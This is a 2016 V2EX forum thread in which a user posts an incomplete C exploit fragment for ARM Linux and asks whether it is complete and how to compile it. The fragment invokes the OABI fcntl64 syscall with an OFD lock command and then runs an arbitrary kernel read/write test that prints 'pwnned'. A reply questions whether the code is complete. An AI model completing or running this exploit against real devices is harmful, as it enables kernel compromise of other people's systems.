有高人在吗 帮忙看看代码

2016-12-15 01:53:23 +08:00
 makendk
请问这段代码是否完整
如何编译,如果可以编译的话 ,请哪位好心人帮忙编译一下 makendk@mail.com

__attribute__((naked)) long sys_oabi_fcntl64(unsigned int fd, unsigned int cmd, unsigned long arg){
__asm __volatile (
"swi 0x9000DD\n"
"mov pc, lr\n"
:
:
:
);
}

#define F_OFD_GETLK 36
#define F_OFD_SETLK 37
#define F_OFD_SETLKW 38

int main(int argc, char const *argv[]){
int fd = open("/proc/cpuinfo", O_RDONLY);
struct flock *map_base = 0;

if(fd == -1){
perror("open");
return -1;
}
map_base = (struct flock *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(map_base == (void*)-1){
perror("mmap");
goto _done;
}
printf("map_base %p\n", map_base);
memset(map_base, 0, 0x1000);
map_base->l_start = SEEK_SET;
if(sys_oabi_fcntl64(fd, F_OFD_GETLK, (long)map_base)){
perror("sys_oabi_fcntl64");
}
// Arbitrary kernel read/write test
if(try_to_read_kernel()){
printf("pwnned !\n");
}
munmap(map_base, 0x1000);
_done:
close(fd);
return 0;
}
1232 次点击
所在节点    问与答
3 条回复
qwer1234asdf
2016-12-15 11:09:58 +08:00
你确定代码完整?
makendk
2016-12-15 11:17:14 +08:00
@qwer1234asdf 不知道 请大神你看一下
makendk
2016-12-15 13:56:26 +08:00
没有人吗

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/327727

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX